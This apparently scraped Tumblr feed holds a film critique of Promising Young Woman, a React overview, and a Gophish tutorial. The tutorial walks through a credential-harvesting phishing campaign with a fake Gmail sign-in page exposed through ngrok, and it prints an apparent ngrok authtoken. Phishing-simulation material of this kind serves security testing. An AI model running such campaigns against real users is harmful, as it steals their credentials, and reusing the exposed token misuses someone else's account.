hi substack guy <3 would love 2 share my thoughts abt promising young woman but i will do that in a min + put it under a cut bc. spoilers etc. love that ur enjoying the zombie essays tho!! there are so many different angles 2 approach zombies as a monster; if u have any reading recs abt religion + colonization my inbox is always open...i have a book or 2 downloaded but have mostly read scattered articles in that vein. agree that 'queer zombie jesus' is SO fun that was one of my fave articles from zombies & sexuality lol. also just recently bought a book called dead white & blue that's abt zombies + usamerican nationalism so. excited 2 start exploring that topic as well...
anyway. promising young woman thoughts (got long...also tw sa):
still thinking & working thru them etc but. generally speaking i am not a huge fan of movies that fall into the rape revenge genre so i typically start them skeptical, and ultimately i thought it was...an odd choice to have the main character be seeking revenge not for herself, but on behalf of her dead friend's past assault...talk abt a dead girl haunting the narrative etc...but like. usually one of my issues w rape revenge is the tendency to turn the person who's been assaulted into this figure of the Righteous Victim such that they become less a person + more a symbol onto which an audience gets to project + live out violent catharsis etc...honestly don't necessarily think there's an inherent issue with creating or seeking out that form of catharsis in film but i just. do not think it is particularly politically useful...+ this setup just like. took that to the next level by literally removing the Victim from the narrative entirely, stripping her character of all agency + personhood, and making her friend the Agent seeking Justice on her behalf which. i mean it's a bit ironic innit...
was also not too sure how i felt abt the whole setup of "woman goes to bars, acts drunk, and there's ALWAYS a creep who tries to take her home + assault her"...i'm somewhat torn feeling-wise here bc i used to very much have this sort of "all men are [potential] monsters" mentality that like no matter where u go there will be someone there ready 2 take advantage of u but. i no longer feel like that is a very useful framework 4 discussing or addressing sexual violence. firstly in that it tends to devolve quickly into the sort of gender essentialism that i am fundamentally opposed to, but also bc it seems so defeatist to me. how are u supposed 2 address a problem if u assume that the problem is already so baked in, and in such simplistic terms? so while i do understand that this is a film and it's sort of dramatizing what is a very real issue, i'm not sure i was entirely sold on the way it was dramatizing it...felt like it was trying 2 highlight but in the process was also flattening 2 a certain extent...
and then like. i did to some extent appreciate the way the film is trying to highlight that it's oftentimes "nice guys" committing sexual violence, especially bc rape revenge films often just portray the "bad guys" as like. cartoonishly evil. but i felt like even there the film was still wanting to get back into that black + white territory, which manifested especially in the bo burnham character. like, on the one hand the film wants to highlight the fact that people committing sexual violence are often sympathetic, perhaps even kind, "nice" people and not obviously evil bad guys, but on the other hand it did not seem to want to sit in the gray area of what that means at all (ie, asking the audience to actually sympathize with or relate to anyone implicated in acts of sexual violence), meaning that whenever we found out a character was involved in an assault that character immediately became a completely unsympathetic bad guy. and like, again, i understand why the film wants to do that--nobody wants to encourage someone to sympathize with a rapist. but irl sexual violence is by and large not black and white, and the fact is that most people are able to sympathize with and relate to people who have committed these forms of violence, because they're not cartoonishly evil bad guys--they're friends, partners, coworkers, family members, etc. and so again, this just isn't a framework that i find particularly useful in addressing irl sexual violence, bc i think it leads to this dichotomy we so often seen where if The Perpetrator/The Accused is not clearly Evil, then they must be Innocent. so like. the film tries, in some ways, to trouble that dichotomy, but i think in the end it just falls back into it--it's just that the guys we thought were "nice" are actually "bad"; imo the audience isn't really encouraged to sit in any emotional stew beyond that.
i do give the movie props for the actual way it handled portrayals of assault; i thought it did a pretty good job there. in particular was a fan of the way they elected to never show the actual video of nina, and how in basically any scene with sexual violence the emphasis was largely on the face + emotions of the person experiencing it. and i mean i did enjoy the movie, for the most part, while i was watching it--like i thought it was a pretty engaging film, good acting, etc.
but if anything the ending really. solidified my disappointment in the politics of the movie. not just bc cassandra died--honestly, i think the death was an interesting choice and there are ways they maybe could have played it that i would have liked more. but having the "triumphant" ending be the cops swooping in to arrest al...give me a fucking break lol. like u set up this whole movie abt how the legal system + these various institutions fail people who have experienced sexual violence, and then...i'm supposed to expect the cops to handle it? the justice system that already failed previously in the movie? and the entire framing of the ending--cassandra's final texts, the music, etc--makes it clear that this is supposed to be a triumphant moment. so i was just like. wtf....like in the end both women are dead. what form of justice is the suggestion that their abuser might go to prison? especially when prison itself is a violent + corrupt institution that must be abolished as part of the fight to end sexual violence? just a very shitty ending overall to what was already a movie that had me sort of going "hmmm...idk" throughout lol. so! those r my thoughts currently
7 notes · View notes
webtechiesworld · 11 months ago
Text
What’s new in React?
React is a continuously evolving library in the ever-changing web development landscape. As you embark on your journey to learn and master React, it’s important to understand the evolution of the library and its updates over time.
One of the advantages of React is that its core API has remained relatively stable in recent years. This provides a sense of continuity and allows developers to leverage their knowledge from previous versions. The conceptual foundation of React has remained intact, meaning that the skills acquired three or five years ago can still be applied today. Let’s take a step back and trace the history of React from its early versions to the recent ones. From React 0.x to React 18, numerous pivotal changes and enhancements have been made as follows: 1. React 0.14: In this version, the introduction of functional components allowed developers to utilize functions as components, simplifying the creation of basic UI elements. At that time, no one knew that now we would write only functional components and almost completely abandon class-based components.
2. React 15: With a new versioning scheme, the next update of React 15 brought a complete overhaul of the internal architecture, resulting in improved performance and stability.
3. React 16: This version, however, stands as one of the most notable releases in React’s history. It introduced hooks,a revolutionary concept that enables developers to use state and other React features without the need for class components. Hooks make code simpler and more readable, transforming the way developers write components.Additionally, React 16 introduced Fiber, a new reconciliation mechanism that significantly improved performance, especially when dealing with animations and complex UI structures.
4. React 17: This version focused on updating and maintaining compatibility with previous versions. It introduced a new JSX transform system.
5. React 18: This is the latest stable release, which continues the trajectory of improvement and emphasizes performance enhancements and additional features, such as the automatic batching of renders, state transitions, server components, and streaming server-side rendering.
Setting up a new React project There are several ways to create a React project when you are getting started. In this section, let's explore three common approaches: • Using web bundlers • Using frameworks • Using an online code editor
Using web bundlers Using a web bundler is an efficient way to create React projects, especially if you are building a Single-Page Application (SPA). Vite is known for its remarkable speed and ease of setup and use.
Using frameworks For real-world and commercial projects, it is recommended to use frameworks built on top of React. These frameworks provide additional features out of the box, such as routing and asset management (images, SVG files, fonts, etc.). They also guide you in organizing your project structure effectively, as frameworks often enforce specific file organization rules. Some popular React frameworks include Next.js, Gatsby, and Remix.
Online code editors Online code editors combine the advantages of web bundlers and frameworks but allow you to set up your React development environment in the cloud or right inside of the browser. This eliminates the need to install anything on your machine and lets you write and explore React code directly in your browser. While there are various online code editors available, some of the most popular options include CodeSandbox, StackBlitz, and Replit. These platforms provide a user-friendly interface and allow you to create, share, and collaborate on React projects without any local setup.To get started with an online code editor, you don’t even need an account. Simply follow this link on your browser:(https://codesandbox.io/p/sandbox/react-new?utm_source=dotnew). In a few seconds, you will see that CodeSandbox is ready to work with a template project, and a live preview of the editor is available directly in the browser tab. If you want to save your changes, then you need to create an account.Using online code editors is a convenient way to learn and experiment with React, especially if you prefer a browser-based development environment.
Reference material: React and React Native
Tumblr media
2 notes · View notes
prajna-alva · 1 year ago
Text
Gophish Setup Guide: Launching Phishing Campaigns
Phishing Scenario : CASE 1 - Breaking news
Objective: The objective of this phishing campaign is to lure employees into clicking a malicious link disguised as breaking news from the company. The landing page masqueraded as a Gmail sign-in page, prompting users to enter their login credentials. This page was designed to steal users' email account credentials.
Install Gophish framework
Make the required changes in the config.json file
Tumblr media
Launch Gophish and our first step would be to set up the sending profile by which we will send out phishing emails. 
Let’s assume that the target company is using Gmail server
(When setting up the sending profile in Gophish using a Gmail account, you have to enable 2FA and give app access to Gophish)
Since our target company is using Gmail server, we will use Gmail email on our phishing campaign so we have set host as smtp.gmail.com:587. After creating the sending profile, we have to test if the sending profile works by sending a test email.
We're using the email address [email protected] as our designated Gmail account for sending phishing emails. Make sure to include the password that was generated when granting Gophish access to this Gmail account. After configuring the sending profile, we can test it by sending a test mail.
Tumblr media
This is what the test mail will look like:
Tumblr media
Email Template
The next step involves integrating an email template for the phishing campaign. We can opt for a pre-made template, for example, here we use a Breaking News email template, for initial testing. We can incorporate a tracking image within the emails to monitor various engagement metrics, including email opens, clicks, and receipt statuses. It also has an option where we can add a link which will redirect the victim to the landing page. On the landing page we can proceed to request for more valuable information from the user.
Tumblr media
Landing Page
In the third step, set up a landing page where targets will be directed after clicking a link in the email. This landing page plays a crucial role in the phishing campaign, as it's where you can capture sensitive information like passwords. Gophish defaults to using http://0.0.0.0:80 for the landing page, but we can customize it to look like a legitimate login page or other enticing content to attract targets. We'll need to specify a redirect page where users will be sent after submitting their credentials.
Tumblr media
In the User & Groups section, you'll need to input the email addresses of your targets. Gophish framework requires you to provide the first name, last name, email address, and the rank of each target individual on the user groups page. You can also upload target details from a CSV file stored on your local system using import feature.
Tumblr media
Install and set up Ngrok:
Install ngrok via Apt with the following command:
curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
 | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list && sudo apt update && sudo apt install ngrok
Run the following command to add your authtoken to the default ngrok.yml configuration file.
ngrok config add-authtoken 2crm6P5lWlbTm4rwoGqn0QSHhPA_6nf7WmMJFKXVSD2SgBohF
Create an index.html page for the landing page and launch python http server in the port 8001
               • python3 -m http.server 8001
               Note: Verify in the browser if it's actually accessible.
We can also use other login page cloning techniques like built in gophish cloner, or Github projects (we used), Custom or by using third party clones (ex-goclone).
If it's a php file use the following command instead:
               • php -S localhost:8001 -t . 
Launch ngrok :
ngrok http http://localhost:8001/
Tumblr media
Use the URL under forwarding and paste it on the Gophish URL section in the campaign page shown below:
Tumblr media
Creating Gophish Campaign:
Go to the Campaigns section.
Choose the right email and landing page templates.
Enter the landing page server URL.
Select the target group.
Start the campaign and monitor its progress.
Tumblr media
Once we click on the link we are directed to the landing page, where we can enter our credentials.
Tumblr media
You can find all the phishing reports related to a specific campaign on the Dashboard in the Gophish framework. Here, you can see details such as sent emails, opened emails, clicked links, submitted data, and any emails reported as phishing by the targets. This page provides a comprehensive overview of the ongoing phishing campaign.
Tumblr media
Phishing scenario: Case 2 - Password Reset Campaign
The aim of this phishing campaign is to trick users into divulging their login credentials by pretending to offer account protection in response to a fake mailbox compromise.
Tumblr media
Users received an urgent email claiming their mailbox was compromised. They were directed to a phishing landing page disguised as a password reset portal.
Tumblr media
Upon clicking the link, Users were redirected to a fake password reset page resembling the email service provider's design, where they were prompted to enter their login credentials.
Tumblr media Tumblr media
3 notes · View notes